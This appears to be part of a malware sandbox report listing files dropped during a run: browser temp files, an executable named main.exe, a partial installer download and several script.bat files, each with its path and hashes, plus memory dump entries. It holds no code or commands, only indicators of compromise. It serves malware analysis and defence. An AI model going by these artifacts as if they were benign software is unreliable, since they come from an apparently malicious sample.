SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a52dd7e9-3ea2-4ea2-9e4a-38963efe841d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\a52dd7e9-3ea2-4ea2-9e4a-38963efe841d.tmp
Size 37KB
SHA256 8d99cc55ad24525409d8af1a61f10411f2dfac0c28acd6d3f702958f8bc4236e
MD5 5fa38169c07d98cd13fe651d52c59754
SHA1 d80d547917adbad44b51d54c954c26b15954c656
SHA512 1d3e6e0ffbd6a1b989301fed4097b998e39f5a031e038ec327eb17d87f3d7fce204aa9458c2d786e9f5fb822df954ee51cf4f64f162a75e0e02d7adf2c7bc9dd
SSDEEP 768:z/UxvxjgC+k3wjGybNbaqGOeRFZD1fTos7Rzu/+Pu:GZj3+k3wiidY1fT/RaKu
TLSH
T1EC03CF3AF8D85D338CF6E244B24A764BBFF405B396C91A9849DD2F0E158B79D130781A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a9f74faf-bc94-4dd2-9823-1b0352deb961.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\a9f74faf-bc94-4dd2-9823-1b0352deb961.tmp
Size 33KB
SHA256 4451d6f10d1b63b1bbd225f1ec2820c19e1df3259cb7be89bb7d7503aaa4b21d
MD5 ecdc39d2c0073fc5f2d4a46539584c2e
SHA1 7b11545588f55362f94890080d9ff8f283ff3ed1
SHA512 bc42eb49062ff57fbb1849ce08e094cd85cebb11dafbbbd3c5f97beab676758d49b17f8d1270548c63b8c4241e7a82f9b2deb1ab4ab430efdd2f971610f22523
SSDEEP 768:dG3FhV7ybNbaqAJOeRFZD1fTos7RjJxTvLG:dG3jhitY1fT/RNNi
TLSH
T1BEF2AF39BCA45D234CE2D285B24E3687BFB45653CACD099495CD6E0E05CBBDE234781A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c7960093-082e-46c3-8509-bb806725acf3.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\c7960093-082e-46c3-8509-bb806725acf3.tmp
Size 41KB
SHA256 bf23b82cb8e03ac062bb5da1c6b44f5ed57643a9b4473e8d68323b75c282daa0
MD5 f61fc3373b9fb461f10af9154daeb160
SHA1 c664433cb6e7acbe6426ff682d2cf9c54632c2c6
SHA512 342addbda05ccfa031546c5e5f8f8620650668913400f89c2a1404f203a725538ba0a9ad478076c75ad5496f776478be0e75e4bf88632e050c9eafeb2bd43560
SSDEEP 768:4FeE3wwg4h/7ybNbaqAQOeRFZD1fTos7RjJxTvLG:tE35ziuY1fT/RNNi
TLSH
T1DF135AF6A8D78932C8AE8747A33D3D46AEBCC153B9890554B3C8590DCD876BFD207815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

03995546-f4c3-4daa-98be-2cf65dc1d22e.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\03995546-f4c3-4daa-98be-2cf65dc1d22e.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

main.exe

Path C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe
Size 9.6MB
SHA256 5b245c6ddeea59fef5950b943dcb9d97c359db933a379790d75663bfb3e1b6f9
MD5 2a19d8438f2a2313b36b276f8c4710f6
SHA1 202a44ed4a4fdc6ca5e0ba95f0cf386b28c0833d
SHA512 588243756b5a19fe3cb71d64ecd6b1e16892cf29d171473beb46f153d43e23fcdf4113475327625c579b2383ddff27d7a86cfc7f9a9c55602d9f493f372a7852
SSDEEP 98304:5QJxlufdKLNv88eIwCoEgPggt5quDRoO2IICG/kShrFi6l:6+gNBBTO5quDRr3IC8k0rFi6l
TLSH
T1ADA68C07EC6518E9C1AE923489B79112BF31BC494B3663D72B60B2387E737D0ADB9354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b3e787dd-4049-46aa-897d-8434595f21c0.tmp

Path C:\Users\Admin\Downloads\b3e787dd-4049-46aa-897d-8434595f21c0.tmp
Size 154B
SHA256 9e3a2071b01076122690c47f397f263c15242e778ba92cd57e12512555f8a065
MD5 86670744a0af02caacd45eb651e5f20b
SHA1 6abdae7f58f657b4ea4e2362a7d76125ced99ca3
SHA512 6c2de6aedc814e376782cc4cbbbeaad5a67aca0e2ab9434a4a11e2da59ce85df46c52c75fafc80d6f992987282915c9ed8785970e4e7821946cf5157b94d798f
TLSH
T1E2C08C770450848A98A113BCD49C214B26E3493B0293B1A5A3EA0826E04813A29E8C3F
MD5 SHA1 SHA512 TLSH

Submit Download

installer.exe.crdownload

Path C:\Users\Admin\Downloads\installer.exe.crdownload
Size 4.2MB
SHA256 ca7d2782c95761549089630b20d7c8a1df71b3a36cdb96638df67a2bc8a4c779
MD5 27d17bd8ef559a0b79a726dc93270133
SHA1 f916da48a6679b0bcd7543882c101f83ce6d550d
SHA512 720075a7fd4fcf5612f747e827035ab325e8d652a4f3a1111851ddc68c8f4fedad27f56941395cd3c73dc46639eb4a50ae8e1bee2dfe9a8fa1904dab18654737
SSDEEP 49152:BpB3LLUt1wfl+TlcPiOx6M9fzyRwuuuuuuuuuuuuuuuPtXS38QrrWnof5C31ulnY:BTYD3cPimuuuuuuuuuuuuuuuPpa60nk
TLSH
T109168D47FCA508E5C4AE933189A796537B39BC880B3123DB2A50B6382F777D45CBA714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

script.bat

Path C:\Users\Admin\Downloads\script.bat
Size 2KB
SHA256 1139b5584f12f85612494a6c2948c44ea301fc5ad49110a94ae132b198af5629
MD5 4b4da5a07b999e95af025708903829e0
SHA1 1993eba23ea292b395df645ce293ad85d980d550
SHA512 1e34f547237d1213b90523db8433b62e49b2af39a7f65e4da801d3ef2fb2e4a5a4657a3c92834b49a9489aa5c3217b8528798531bdeade56c3389aef147f2638
TLSH
T1E7513021428AC77FA82950FF5ED1358890B18D6E66C03BF1B5DFD8759B0100EF5E8A92
MD5 SHA1 SHA512 TLSH

Submit Download

script.bat

Path C:\Users\Admin\Downloads\script.bat
Size 2KB
SHA256 1417156061e1f5a856d2b3c1df8eb1d1a3f204ec1294ccb0c5c99b25c8635a26
MD5 661261bf3f5dc3bbf623d91e13ffc28e
SHA1 f9501d8e6be44dc2525b91e11f2f1a59be79f322
SHA512 d76ae5087b973054087d649edd2bcccf53e60cc70538e127fa98c84ce169f44e9d24e39f7e033b6af07eed7de470e584aaa8f71c91840d85b711529c1cd99f46
TLSH
T1AD5133214186C77F582950FF5ED1358890B28D6E26C03BF1B6DFD8759B0100EF5E8E92
MD5 SHA1 SHA512 TLSH

Submit Download

script.bat

Path C:\Users\Admin\Downloads\script.bat
Size 2KB
SHA256 527dbec89cdf37f0a9c828d352a45d6b03171ed2426b87cb522bc1240672db84
MD5 71239b0f53159d10ea3aa2bca8437c17
SHA1 519126ed14649313c70501b7643201d88b8b419d
SHA512 ff39274b12be2aeec4970ed4c2ac91129df3c3d62a75dbdc1b315ee34845fb047c1dd7d540a39df4ef2585260a401f6e56f5dbc5bf56136a108ee9bdba83f33d
TLSH
T1485143225186C77E982650BF5ED5358890B28D1E66C43BF1B2DFC875970100EF5D8F52
MD5 SHA1 SHA512 TLSH

Submit Download

memory/6080-223-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp

Download

memory/6080-224-0x00007FFADE220000-0x00007FFADE230000-memory.dmp

Download

memory/6080-252-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp

Download

memory/6080-220-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp

Download

memory/6080-222-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp

Download

memory/6080-221-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp

Download

memory/6080-225-0x00007FFADE220000-0x00007FFADE230000-memory.dmp

Download

memory/6080-253-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp

Download

memory/6080-219-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp

Download

memory/6080-250-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp

Download

memory/6080-251-0x00007FFAE0720000-0x00007FFAE0730000-memory.dmp

Download